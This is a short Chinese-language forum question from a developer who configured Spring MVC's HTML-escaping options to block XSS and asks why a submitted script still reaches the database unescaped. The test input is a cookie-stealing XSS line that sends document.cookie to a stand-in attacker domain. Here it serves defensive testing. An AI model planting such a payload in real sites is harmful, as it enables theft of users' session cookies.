项目用的是 SpringMVC+jsp
想要对提交表格的内容进行字符转义防止 XSS 攻击
根据 http://www.codeweblog.com/spring-mvc-%E5%AE%89%E5%85%A8/
做处理,下面三条都做了
1)web.xml 中添加
<context-param> <param-name>defaultHtmlEscape</param-name> <param-value>true</param-value> </context-param>
2)在包含 form 的 jsp 页面中添加
<spring:htmlEscape defaultHtmlEscape="true" />
3 )直接在 form 中的元素中添加
<form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true">
然后在表格上添加
<script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>发现存进数据库的没有转移,依然是原文
怎么回事啊?
1
kenduffy OP 顶顶顶
|